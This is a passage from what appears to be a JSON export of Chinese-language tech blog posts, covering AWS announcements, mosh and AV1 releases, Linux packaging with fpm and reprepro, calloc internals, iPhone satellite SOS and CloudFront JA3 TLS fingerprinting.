CPU)</li>\r\n</ul>\r\n\r\n最後面則是有提到從 400Gbps 到 800Gbps 還多做了那些事情，最後是達到 731Gbps。\r\n\r\n用的機器是 <a href=\"https://www.dell.com/en-us/shop/povw/poweredge-r7525\">Dell PowerEdge R7525</a>，這是一台 2U 的機器啊...",
    "title": "Netflix 單機 800Gbps 伺服器所使用的最佳化技巧"
  },
  {
    "id": "10942",
    "body": "在清 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 的時候看到「<a href=\"https://spectrumlocalnews.com/nys/central-ny/politics/2022/10/26/new-york-could-become-first-state-with-a--right-to-repair--law\">New York could become first state with a ‘Right to Repair’ law for electronic devices</a>」這篇，在講紐約州有團體在推動電子產品的維修權。\r\n\r\n先前有提過歐盟對電子產品的維修權有在推動法案 (參考「<a href=\"https://blog.gslin.org/archives/2019/10/05/9230/%E6%AD%90%E7%9B%9F%E5%9C%A8%E6%8E%A8%E5%8B%95%E7%9A%84%E8%A8%AD%E5%82%99%E7%B6%AD%E4%BF%AE%E6%AC%8A/\">歐盟在推動的設備維修權...</a>」這篇)，確保十年內有料可以維修，後來這個法案已經生效了：「<a href=\"https://www.independent.co.uk/tech/eu-right-repair-technology-decade-b1809408.html\">New EU ‘right to repair’ laws require technology to last for a decade</a>」。\r\n\r\n可以觀察一下會不會過...",
    "title": "紐約州在推動電子產品的維修權"
  },
  {
    "id": "10944",
    "body": "這個功能等了十年以上總算是出現了，<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 AMI 總算是能直接抽換 root volume，不用先停掉機器：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/10/amazon-ec2-enables-patching-guest-operating-system-application-replace-root-volume/\">Amazon EC2 enables easier patching of guest operating system and applications with Replace Root Volume</a>」。\r\n\r\n<blockquote>Starting today, Amazon EC2 supports the replacement of instance root volume using an updated AMI without requiring customers to stop their instance. This allows customers to easily update their applications and guest operating system, while retaining the instance store data, networking and IAM configuration.</blockquote>\r\n\r\n算是 pre-container 時代會遇到的問題，後來大家都把 workaround 變成 practice 了：每次需要時候都是直接整包重新打包 (像是 <a href=\"https://www.packer.io/\">Packer</a> 這類的工具)，然後用工具更新 AMI id 改開新的機器，這樣就能夠避開需要先停掉現有機器的問題...\r\n\r\n怎麼會突然想到要回來支援這個功能 XD",
    "title": "Amazon EC2 AMI 的 root volume 可以直接抽換了"
  },
  {
    "id": "10945",
    "body": "在翻資料的時候翻到「<a href=\"https://www.phoronix.com/news/AOM-AV1-3.5\">Google Releases AOM-AV1 3.5 With More Speedups &amp; Memory Optimizations</a>」這篇，講 <a href=\"https://aomedia.googlesource.com/aom/\">AOM-AV1</a> v3.5.0 的效能改善，看了 v3.4.0 的 changelog 可以看到最主要的大幫助是有 multithreading 的支援，但不確定跟其他的 <a href=\"https://en.wikipedia.org/wiki/AV1\">AV1</a> library 相比可以有多快...\r\n\r\n印象中 (好幾個月前的印象) 目前最快的應該是 <a href=\"https://gitlab.com/AOMediaCodec/SVT-AV1\">SVT-AV1</a>？記得 <a href=\"https://code.videolan.org/videolan/dav1d\">dav1d</a> 有宣稱很快但不是 apple-to-apple 比較，比較像是 marketing 上的宣稱。\r\n\r\n先前測試 AV1 在 <a href=\"https://www.android.com/\">Android</a> 上的支援度與效能，記得在老一點的手機上軟解還是很辛苦啊，最後還是先選了 <a href=\"https://en.wikipedia.org/wiki/VP9\">VP9</a> 用，硬體解碼支援度比較廣，加上軟解需要的 CPU resource 也低不少。",
    "title": "AOM-AV1 v3.5.0 的效能改善"
  },
  {
    "id": "10946",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在瑞士蘇黎世開了新的區域，代碼 <code>eu-central-2</code>：「<a href=\"https://aws.amazon.com/blogs/aws/a-new-aws-region-opens-in-switzerland/\">A New AWS Region Opens in Switzerland</a>」，其中代碼 <code>eu-central-1</code> 是德國，這次的歐洲中不稍微往南邊一點開。\r\n\r\n<blockquote>I am pleased to announce today the opening of our 28th AWS Region: Europe (Zurich), also known by its API name: eu-central-2.</blockquote>\r\n\r\n歐洲的 region 愈來愈多了，但可以看出來東歐一直還沒有點，不過以目前戰火的情況看起來應該不會太快...",
    "title": "AWS 加開中歐區 (瑞士，蘇黎世)"
  },
  {
    "id": "10947",
    "body": "在噗浪上的<a href=\"https://www.plurk.com/p/p1ruxe\">這篇</a>看到的工具，讓我想起來之前有想要在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> + <a href=\"https://xfce.org/\">Xfce</a> 上找類似的工具：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yUWPHao.webp\" /><img src=\"https://i.gslin.com/imgur/yUWPHao.png\" alt=\"\" /></picture>\r\n\r\n在 <a href=\"https://www.apple.com/macos/\">macOS</a> 上我最常用的就是計算機與匯率換算，另外就是開應用程式。\r\n\r\n但是因為沒辦法直接用 super key 啟動 (也稱作 meta key，或是大家更熟悉的微軟鍵)，所以得迂迴設定，先透過 <a href=\"https://github.com/alols/xcape\">xcape</a> 把左邊的 super key 對應到 <kbd>Ctrl</kbd>-<kbd>Esc</kbd> 上：\r\n\r\n<pre>xcape -e 'Super_L=Control_L|Escape'</pre>\r\n\r\n然後把本來的 <kbd>Ctrl</kbd>-<kbd>Esc</kbd> 拔掉：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nLmSE8o.webp\" /><img src=\"https://i.gslin.com/imgur/nLmSE8o.png\" alt=\"\" /></picture>\r\n\r\n然後這時候用 super key 時就會改抓到 <kbd>Ctrl</kbd>-<kbd>Esc</kbd> 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FecS71n.webp\" /><img src=\"https://i.gslin.com/imgur/FecS71n.png\" alt=\"\" /></picture>\r\n\r\n接下來就可以勾選 extensions 了，這邊勾了幾個：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wCqcH7N.webp\" /><img src=\"https://i.gslin.com/imgur/wCqcH7N.png\" alt=\"\" /></picture>\r\n\r\n然後 <a href=\"https://www.python.org/\">Python</a> 這邊把 Currency convert 的部份勾起來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wuqBC9S.webp\" /><img src=\"https://i.gslin.com/imgur/wuqBC9S.png\" alt=\"\" /></picture>\r\n\r\n用法是 1 usd to twd 這樣的句子：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BajHjcd.webp\" /><img src=\"https://i.gslin.com/imgur/BajHjcd.png\" alt=\"\" /></picture>\r\n\r\n這兩天用起來還不錯，之後遇到問題再來調整...",
    "title": "在 Ubuntu (Xfce) 上改用 Albert Launcher"
  },
  {
    "id": "10948",
    "body": "去年的時候 <a href=\"https://mosh.org/\">mosh</a> 的原作者 <a href=\"https://cs.stanford.edu/~keithw/\">Keith Winstein</a> 曾經提過沒有急迫的新版需求 (可以參考「<a href=\"https://blog.gslin.org/archives/2021/08/13/10274/%E5%BE%88%E4%B9%85%E6%B2%92%E5%87%BA%E6%96%B0%E7%89%88%E7%9A%84-mosh/\">很久沒出新版的 mosh...</a>」這篇)，不過剛剛翻資料的時候發現上個月月底出 1.4.0 了：「<a href=\"https://mosh.org/mosh-1.4.0-released.html\">[mosh-users] mosh 1.4.0 released</a>」，開頭也提到離上次 release 也已經五年了：\r\n\r\n<blockquote>The Mosh team is pleased to announce the long-awaited 1.4.0 release. This is our first release in five years and marks ten years since Mosh 1.0.</blockquote>\r\n\r\n在 New features 的部份沒有什麼特別的點，對我來說比較有「感覺」的應該是支援 true color 了，但用的情境好像也不算多：\r\n\r\n<blockquote>Add true color support (Kang Jianbin)</blockquote>\r\n\r\n另外是專案本身的改變，CI 的部份從 <a href=\"https://www.travis-ci.com/\">Travis CI</a> 搬到 <a href=\"https://github.com/features/actions\">GitHub Actions</a> 上：\r\n\r\n<blockquote>Switch from Travis-CI to Github Actions (Wolfgang E. Sanyer, Alex Chernyakhovsky)</blockquote>\r\n\r\n好久不見啦...",
    "title": "mosh 1.4.0 出版"
  },
  {
    "id": "10949",
    "body": "<a href=\"https://sourcehut.org/\">SourceHut</a> 是個 <a href=\"https://git-scm.com/\">Git</a> 與 <a href=\"https://www.mercurial-scm.org/\">Mercurial</a> 的 hosting service，以及提供一些專案管理常見的功能。\r\n\r\n他們宣佈不再提供 cryptocurrency 以及 blockchain 相關專案的服務，自 2023 年生效：「<a href=\"https://sourcehut.org/blog/2022-10-31-tos-update-cryptocurrency/\">SourceHut terms of service updates, cryptocurrency-related projects to be removed</a>」。\r\n\r\n<blockquote>SourceHut is planning to roll out updates to our terms of service, effective in 2023. The changes most likely to impact users is the prohibition of cryptocurrency- or blockchain-related projects on SourceHut.</blockquote>\r\n\r\n因為這些技術幾乎都是用在違法用途上：\r\n\r\n<blockquote>These domains are strongly associated with fraudulent activities and high-risk investments which take advantage of people who are suffering from economic hardship and growing global wealth inequality. Few to no legitimate use-cases for this technology have been found; instead it is mostly used for fraudulent “get rich quick” schemes and to facilitate criminal activity, such as ransomware, illicit trade, and sanctions evasion. These projects often encourage large-scale energy waste and electronics waste, which contributes to the declining health of Earth’s environment. The presence of these projects on SourceHut exposes new victims to these scams and is harmful to the reputation of SourceHut and its community.</blockquote>\r\n\r\n不過這年頭自己架 <a href=\"https://gitlab.com/\">GitLab</a> 也不是什麼難事，該有的功能都有，這個只能算是個宣言...",
    "title": "SourceHut 宣佈拒絕 cryptocurrency 與 blockchain 相關的專案"
  },
  {
    "id": "10950",
    "body": "看到「<a href=\"https://brr.fyi/posts/sms-mfa\">SMS Multifactor Authentication in Antarctica</a>」這篇，講在南極洲收銀行 <a href=\"https://en.wikipedia.org/wiki/One-time_password\">OTP</a> 簡訊的方式 (one-time password，常見的形式是六碼或是七碼數字)。\r\n\r\n很明顯的，南極洲沒有什麼電信商可以讓你漫遊 XD\r\n\r\n一開始是試著用 Verizon Messages Plus，這個服務可以在電信商直接把簡訊改成 e-mail 寄出來，但作者發現所有的簡訊都會轉送，就是銀行的不會轉送 XDDD\r\n\r\n接著是試著用 <a href=\"https://voice.google.com/\">Google Voice</a> 的號碼，但銀行會判定為 VoIP 電話而不送。\r\n\r\n另外的方式是「Wifi Calling」，看起來應該是 <a href=\"https://en.wikipedia.org/wiki/Voice_over_WLAN\">VoWiFi</a> 這個台灣更常見的詞，透過 internet 連到電信商的網路掛進去，而不需要透過電信商的基地台。\r\n\r\n但 <a href=\"https://en.wikipedia.org/wiki/McMurdo_Station\">McMurdo</a> 的網路目前還是有很多不一樣的限制與問題：\r\n\r\n<blockquote>At McMurdo, phones have access to a wifi network only for wifi calling and texting, not for general Internet access. It’s just a prototype at this time. It doesn’t work in all cases or in all areas, and for one reason or another it doesn’t work for some people, even if they’ve followed all the steps for enabling wifi calling.</blockquote>\r\n\r\n看起來作者遇到的問題是 latency 過高以及頻寬不穩定的問題：\r\n\r\n<blockquote>Also, the protocol assumes terrestrial broadband with reasonable latency and bandwidth. At McMurdo, as of this writing, latency to terrestrial locations is in excess of 700 milliseconds. Usable bandwidth for any given end user can vary widely, down to a few dozen kilobits per second.</blockquote>\r\n\r\n然後也很難 troubleshooting：\r\n\r\n<blockquote>The protocol also doesn’t expose any useful diagnostic info to the end user in order to troubleshoot. You just have to cross your fingers that the magic “wifi calling” icon lights up.</blockquote>\r\n\r\n接下來作者嘗試的是 Voice MFA，但不存在這樣的電話號碼可以轉接之類的：\r\n\r\n<blockquote>Direct inward dialing to US Antarctic stations isn’t generally available, so you probably can’t configure your cell phone number to forward to a number you can directly answer on-station. (I’m aware of some exceptions to this.)</blockquote>\r\n\r\n作者最後提了兩個方法，第一個是想辦法找一個銀行不會擋的虛擬號碼註冊，但這個方法基本上是個貓抓老鼠的遊戲。第二個是作者實做的方法，自己搞 relay，透過 <a href=\"https://ifttt.com/\">IFTTT</a> 或是其他類似的工具來轉：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/c0IDijp.webp\" /><img src=\"https://i.gslin.com/imgur/c0IDijp.jpg\" alt=\"\" /></picture>\r\n\r\n轉出來像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/S5Bl8MB.webp\" /><img src=\"https://i.gslin.com/imgur/S5Bl8MB.png\" alt=\"\" /></picture>\r\n\r\n也許等基礎建設好一點之後，VoWiFi 應該就有機會通？",
    "title": "在南極洲收銀行 OTP 簡訊的方式"
  },
  {
    "id": "10951",
    "body": "在「<a href=\"https://sschueller.github.io/posts/wiring-a-home-with-fiber/\">Wiring my home with Fiber</a>」這邊看到為了善用 25Gbps 的 internet 頻寬，所以決定在裡直接穿管放光纖...\r\n\r\n翻了一下之前寫的「<a href=\"https://blog.gslin.org/archives/2021/07/11/10233/25gbps-%E7%9A%84%E5%AE%B6%E7%94%A8-internet/\">25Gbps 的家用 Internet</a>」，媽的居然是不同人，但都是 <a href=\"https://www.init7.net/\">Init7</a> 的服務沒錯...\r\n\r\n在開頭的地方他先放了架構圖，看起來是多組線路備援的架構？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TQnnDtz.webp\" /><img src=\"https://i.gslin.com/imgur/TQnnDtz.png\" alt=\"\" /></picture>\r\n\r\n用的是單模光纖，然後穿現有的牆內管：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fACGzBk.webp\" /><img src=\"https://i.gslin.com/imgur/fACGzBk.jpg\" alt=\"\" /></picture>\r\n\r\n然後看起來是自己做插座，而不是直接接設備：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JmbKzzN.webp\" /><img src=\"https://i.gslin.com/imgur/JmbKzzN.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xbFFXA1.webp\" /><img src=\"https://i.gslin.com/imgur/xbFFXA1.jpg\" alt=\"\" /></picture>\r\n\r\n家裡只放了 Cat6 到各房間，可以在短距離裡面跑 10Gbps，或是百米的 2.5Gbps/5Gbps，以這幾年網路升級的速度應該是夠用...",
    "title": "在家裡放光纖的故事 (又是 25Gbps 的 Internet...)"
  },
  {
    "id": "10953",
    "body": "<a href=\"https://www.apple.com/iphone/\">iPhone</a> 14 的 Emergency SOS via satellite 先在北美開通了，包括美國與加拿大地區：「<a href=\"https://www.apple.com/newsroom/2022/11/emergency-sos-via-satellite-available-today-on-iphone-14-lineup/\">Emergency SOS via satellite available today on the iPhone 14 lineup in the US and Canada</a>」，另外也有提到歐洲的一些區域預定在十二月開通：\r\n\r\n<blockquote>iPhone 14 users can now connect with emergency services when cellular and Wi-Fi coverage are not available; the service extends to France, Germany, Ireland, and the UK in December</blockquote>\r\n\r\n然後有一些 screenshot 出來了，在沒有 WiFi 與電信訊號的時候打 <a href=\"https://en.wikipedia.org/wiki/9-1-1\">911</a> (美國與加拿大的緊急號碼) 會出現透過衛星聯絡的選項：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tuM19cg.webp\" /><img src=\"https://i.gslin.com/imgur/tuM19cg.jpg\" alt=\"\" /></picture>\r\n\r\n然後用選擇的方式快速先分類，然後手機要對天空：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/o00ir5p.webp\" /><img src=\"https://i.gslin.com/imgur/o00ir5p.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dmm8OhW.webp\" /><img src=\"https://i.gslin.com/imgur/dmm8OhW.jpg\" alt=\"\" /></picture>\r\n\r\n這些資訊會先被傳遞，後面緊急聯絡中心可能會再問一些資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/W3lEBdN.webp\" /><img src=\"https://i.gslin.com/imgur/W3lEBdN.jpg\" alt=\"\" /></picture>\r\n\r\n另外有提供 satellite demo，可以讓使用者不去打擾緊急聯絡中心的前提下熟悉這套流程：\r\n\r\n<blockquote>Using the built-in Emergency SOS via satellite demo, users can test satellite connectivity on their iPhone by connecting to a real satellite in range without calling emergency services, allowing them to experience the process and familiarize themselves with the service.</blockquote>\r\n\r\n台灣從五家電信業者的 coverage 資料看起來，五家都沒有覆蓋的地區主要是山區：\r\n\r\n<ul>\r\n\t<li><a href=\"https://coverage.cht.com.tw/coverage/tw.html\">中華</a></li>\r\n\t<li><a href=\"https://www.taiwanmobile.com/mobile/calculate/cover_map.html\">台哥大</a></li>\r\n\t<li><a href=\"https://ecare.fetnet.net/DigService/serviceCoverageController/serviceCoveragePage\">遠傳</a></li>\r\n\t<li><a href=\"https://www.tstartel.com/CWS/serviceCoverage.php\">台星</a></li>\r\n\t<li><a href=\"https://www.aptg.com.tw/others/Coverage.htm\">亞太</a></li>\r\n</ul>\r\n\r\n目前在台灣類似的功能 (要求救的話) 應該是 <a href=\"https://www.garmin.com.tw/minisite/inreach/personal/\">Garmin inReach</a> 這個產品線，先前在 <a href=\"https://www.youtube.com/\">YouTube</a> 上有看到開箱...",
    "title": "iPhone 14 的 Emergency SOS via satellite (衛星求救服務) 在北美開通"
  },
  {
    "id": "10954",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，英國政府也建立了自己的掃描資料庫：「<a href=\"https://www.ncsc.gov.uk/information/ncsc-scanning-information\">NCSC Scanning information</a>」。\r\n\r\n看起來是類似於 <a href=\"https://www.shodan.io/\">Shodan</a> 這樣的服務，但是範圍限制在英國內的網路服務：\r\n\r\n<blockquote>These activities cover any internet-accessible system that is hosted within the UK and vulnerabilities that are common or particularly important due to their high impact.</blockquote>\r\n\r\n不過這個東西各國應該都有做，只是有沒有公開講？",
    "title": "英國政府開始定時掃描英國內的網路服務"
  },
  {
    "id": "10955",
    "body": "先前在「<a href=\"https://blog.cloudflare.com/using-cloudflare-r2-as-an-apt-yum-repository/\">Using Cloudflare R2 as an apt/yum repository</a>」這邊看到的工具，其中一個是 <a href=\"https://fpm.readthedocs.io/\">fpm</a>，可以快速包裝成各種套件格式 (符不符合 community standard 就是另外一回事晴了)。\r\n\r\n在「<a href=\"https://fpm.readthedocs.io/en/latest/packages/deb.html\">deb - Debian package format</a>」這邊就有提到像是之前 <a href=\"https://www.hashicorp.com/\">HashiCorp</a> 都只有丟 binary 出來時，要怎麼打包。\r\n\r\n先抓 binary zip 檔下來，然後直接用 fpm 指定版號與要丟的 prefix，他就幫你包起來：\r\n\r\n<pre>$ wget https://releases.hashicorp.com/terraform/1.0.10/terraform_1.0.10_linux_amd64.zip\r\n$ fpm -s zip -t deb --prefix /usr/bin -n terraform -v 1.0.10 terraform_1.0.10_linux_amd64.zip</pre>\r\n\r\n生出來的 <code>terraform_1.0.10_amd64.deb</code> 就可以直接 <code>apt install</code> 或是 <code>dpkg -i</code> 裝進去。\r\n\r\n看起來可以是個快速先解決問題的工具，之後遇到沒有提供 apt repository 的套件可以用這個方式先打包起來裝，後續移除也比較簡單，不用靠文件來記錄一堆細節...",
    "title": "用 fpm 這個工具包 .deb 安裝"
  },
  {
    "id": "10956",
    "body": "看到「<a href=\"http://blogs.perl.org/users/dimitrios_kechagias/2022/11/perl-performance-evolution-over-the-last-decade.html\">Perl performance evolution over the last decade</a>」這篇，作者看到大家在講 <a href=\"https://www.python.org/\">Python</a> 3.11 的效能改善後，也想看一下 <a href=\"https://www.perl.org/\">Perl</a> 這邊的效能改善。\r\n\r\n作者從 2012 年的 Perl 5.12 開始測，到 2022 年出的 Perl 5.36，最後面的表可以看到大概是 30%：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XixacYx.webp\" /><img src=\"https://i.gslin.com/imgur/XixacYx.png\" alt=\"\" /></picture>\r\n\r\n以十年的跨度來看，30% 成長不怎麼多，但畢竟還是有效能提昇，用很舊的版本的人還是可以考慮昇個級，沒撞到相容性問題的話算是免費的效能提昇。\r\n\r\n當年比較驚人的應該還是 <a href=\"https://www.php.net/\">PHP</a> 的 5.6 到 7.0，效能差不多是翻倍，讓整個 PHP community 有更多的資源可以用，framework 可以寫的更揮霍一些 XD",
    "title": "Perl 在這十年的效能改善"
  },
  {
    "id": "10957",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2022/11/16/10955/%e7%94%a8-fpm-%e9%80%99%e5%80%8b%e5%b7%a5%e5%85%b7%e5%8c%85-deb-%e5%ae%89%e8%a3%9d/\">用 fpm 這個工具包 .deb 安裝</a>」這篇題到了 <a href=\"https://fpm.readthedocs.io/\">fpm</a>，另外在同一篇文章裡面 (「<a href=\"https://blog.cloudflare.com/using-cloudflare-r2-as-an-apt-yum-repository/\">Using Cloudflare R2 as an apt/yum repository</a>」這篇) 也有提到要怎麼生出一個有簽名過的 APT repository，裡面就提到了 reprepro 這個工具。\r\n\r\n在 <a href=\"https://wiki.debian.org/\">Debian Wiki</a> 上面的「<a href=\"https://wiki.debian.org/DebianRepository/SetupWithReprepro\">SetupWithReprepro</a>」就有一步一步告訴你設定的方式，另外 <a href=\"https://www.wikimedia.org/\">Wikimedia</a> 的技術 wiki 上也有提到常用的操作：「<a href=\"https://wikitech.wikimedia.org/wiki/Reprepro\">Reprepro</a>」。\r\n\r\n然後可以丟到很多不同的地方，最常見的 <a href=\"https://httpd.apache.org/\">apache</a> 或是 <a href=\"https://nginx.org/\">nginx</a> 外，<a href=\"https://aws.amazon.com/s3/\">S3</a> 或是其他可以吐 HTTP/HTTPS 的 object storage 服務都可以。\r\n\r\n也是先記錄起來，等要用的時候可以回來 blog 上翻到...",
    "title": "用 reprepro 建立 APT repository"
  },
  {
    "id": "10958",
    "body": "前幾天才寫了 <a href=\"https://aws.amazon.com/\">AWS</a> 開了中歐的瑞士 (在「<a href=\"https://blog.gslin.org/archives/2022/11/11/10946/aws-%e5%8a%a0%e9%96%8b%e4%b8%ad%e6%ad%90%e5%8d%80-%e7%91%9e%e5%a3%ab%ef%bc%8c%e8%98%87%e9%bb%8e%e4%b8%96/\">AWS 加開中歐區 (瑞士，蘇黎世)</a>」這邊)，剛剛看到開了西班牙：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-region-in-spain/\">Now Open–AWS Region in Spain</a>」。\r\n\r\n注意到代碼不是掛在西歐 (<code>eu-west</code>)，而是南歐 (<code>eu-south</code>)，然後「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html\">Regions and Zones</a>」這頁居然還沒更新...\r\n\r\n另外機種比瑞士的豐富一些，像是 <code>t4g</code> 與 <code>r6g</code> 這些 <a href=\"https://www.arm.com/\">ARM</a> 的機種。\r\n\r\n歐洲的機房突然變好多，反倒是美洲暫時沒有新的大消息... (大家都愛 <code>us-east-1</code> 的關係？)",
    "title": "AWS 開西班牙區"
  },
  {
    "id": "10959",
    "body": "前陣子在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，原文是 2016 的文章：「<a href=\"https://vorpus.org/blog/why-does-calloc-exist/\">Why does calloc exist?</a>」，裡面講的東西包括了 implementation dependent 的項目，所以要注意一下他的結論未必適用於所有的平台與情境。\r\n\r\n<code>malloc()</code> 與 <code>calloc()</code> 的用法是這樣，其中 <code>calloc()</code> 會申請 <code>count</code> 個 <code>size</code> 的空間：\r\n\r\n<pre>void* buffer1 = malloc(size);\r\nvoid* buffer2 = calloc(count, size);</pre>\r\n\r\n第一個差異是，<code>count * size</code> 可能會 overflow (而 integer overflow 在 C 裡面是 undefined behavior)，這點除非你在乘法時有檢查，不然大多數的行為都還是會生一個值出來。\r\n\r\n而 <code>calloc()</code> 則是會幫你檢查，如果會發生 overflow 的時候就不會真的去要一塊記憶體用。\r\n\r\n第二個差異是 <code>calloc()</code> 保證會將內容都設定為 0，這點在 <a href=\"https://en.wikipedia.org/wiki/POSIX\">POSIX</a> 的標準裡面是這樣寫的：\r\n\r\n<blockquote>The calloc() function shall allocate unused space for an array of nelem elements each of whose size in bytes is elsize. The space shall be initialized to all bits 0.</blockquote>\r\n\r\n但作者就發現 <code>malloc() + memset() + free()</code> 還是比 <code>calloc() + free()</code> 慢很多：\r\n\r\n<pre>~$ gcc calloc-1GiB-demo.c -o calloc-1GiB-demo\r\n~$ ./calloc-1GiB-demo\r\ncalloc+free 1 GiB: 3.44 ms\r\nmalloc+memset+free 1 GiB: 365.00 ms</pre>\r\n\r\n研究發現是 <code>calloc()</code> 用了 <a href=\"https://en.wikipedia.org/wiki/Copy-on-write\">copy-on-write</a> 的技巧，先把所有的 page 都指到同一塊完全被塞 0 的記憶體，只有在真的寫到該段記憶體時，系統才會要一塊空間來用：\r\n\r\n<blockquote>Instead, it fakes it, using virtual memory: it takes a single 4 KiB page of memory that is already full of zeros (which it keeps around for just this purpose), and maps 1 GiB / 4 KiB = 262144 copy-on-write copies of it into our process's address space. So the first time we actually write to each of those 262144 pages, then at that point the kernel has to go and find a real page of RAM, write zeros to it, and then quickly swap it in place of the \"virtual\" page that was there before. But this happens lazily, on a page-by-page basis.</blockquote>\r\n\r\n但畢竟這是 implementation dependent，看看有個印象就好。",
    "title": "calloc() 與 malloc() 的差異"
  },
  {
    "id": "10960",
    "body": "<a href=\"https://aws.amazon.com/iam/\">AWS IAM</a> 總算可以掛多個 <a href=\"https://en.wikipedia.org/wiki/Multi-factor_authentication\">MFA</a> 到同一個帳號下了：「<a href=\"https://aws.amazon.com/blogs/security/you-can-now-assign-multiple-mfa-devices-in-iam/\">You can now assign multiple MFA devices in IAM</a>」。\r\n\r\n先前的 workaround 是開多個一樣權限的帳號，一個帳號掛 <a href=\"https://en.wikipedia.org/wiki/Time-based_one-time_password\">TOTP</a> MFA，另外的每個帳號掛一隻 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> MFA，但偶而會遇到會認 IAM account 的權限檢查，就會比較麻煩...\r\n\r\n先說明一下，目前這個功能看起來還在 rolling update (也有可能是 bug？)，我的公司帳號就成功把本來只有 TOTP MFA 的加掛 U2F MFA 上去，但我自己的 <a href=\"https://aws.amazon.com/\">AWS</a> 帳號就怎麼樣都看不到這個新功能。\r\n\r\n這是加好的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/73yWvtF.webp\" /><img src=\"https://i.gslin.com/imgur/73yWvtF.png\" alt=\"\" /></picture>\r\n\r\n這是我自己的 AWS 帳號，沒有像上面那樣可以管理多個 MFA，而點開 Manage 也只會看到移除的選項：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pYOKu0E.webp\" /><img src=\"https://i.gslin.com/imgur/pYOKu0E.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/C2ulPjn.webp\" /><img src=\"https://i.gslin.com/imgur/C2ulPjn.png\" alt=\"\" /></picture>\r\n\r\n到另外一個掛 U2F MFA 的帳號下一樣也看不到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NH64cM7.webp\" /><img src=\"https://i.gslin.com/imgur/NH64cM7.png\" alt=\"\" /></picture>\r\n\r\n另外我在刪除 IAM 帳號時也發現會有無法刪除 MFA 設定的錯誤訊息 (但點進去看 IAM user 可以確認 MFA 已經背山掉了)，這時候再刪一次就會成功，看起來 console bug 還不少... 也許再放個兩天看看？",
    "title": "AWS IAM 總算能掛多個 MFA 進同一個帳號了"
  },
  {
    "id": "10962",
    "body": "看到 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 宣佈支援帶入 <a href=\"https://github.com/salesforce/ja3\">JA3</a> 資訊了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/11/amazon-cloudfront-supports-ja3-fingerprint-headers/\">Amazon CloudFront now supports JA3 fingerprint headers</a>」：\r\n\r\n<blockquote>Details: Amazon CloudFront now supports Cloudfront-viewer-ja3-fingerprint headers, enabling customers to access incoming viewer requests’ JA3 fingerprints. Customers can use the JA3 fingerprints to implement custom logic to block malicious clients or allow requests from expected clients only.</blockquote>\r\n\r\nJA3 的頁面上可以看到說明，針對 SSL/<a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 這個複雜的 handshake 過程中，就可以從中得知不同的 client 實做，比起容易偽造的 <code>User-agent</code> 有效：\r\n\r\n<blockquote>JA3 is a method for creating SSL/TLS client fingerprints that should be easy to produce on any platform and can be easily shared for threat intelligence.</blockquote>\r\n\r\n像是 <a href=\"https://www.torproject.org/\">Tor</a> 的 SSL/TLS 連線就會有對應的 fingerprint 可以偵測：\r\n\r\n<blockquote>JA3 fingerprint for the standard Tor client:\r\ne7d705a3286e19ea42f587b344ee6865</blockquote>\r\n\r\n先前在「<a href=\"https://blog.gslin.org/archives/2022/02/18/10561/%e4%bf%ae%e6%ad%a3-curl-%e7%9a%84-tls-handshake%ef%bc%8c%e9%81%bf%e9%96%8b-bot-%e5%81%b5%e6%b8%ac%e6%a9%9f%e5%88%b6/\">修正 Curl 的 TLS handshake，避開 bot 偵測機制</a>」裡面提到的 <a href=\"https://github.com/lwthiker/curl-impersonate\">curl-impersonate</a> 就是反制這類偵測的方式。",
    "title": "CloudFront 支援 JA3 資訊 (SSL/TLS fingerprint)"
  },
  {
    "id": "10963",
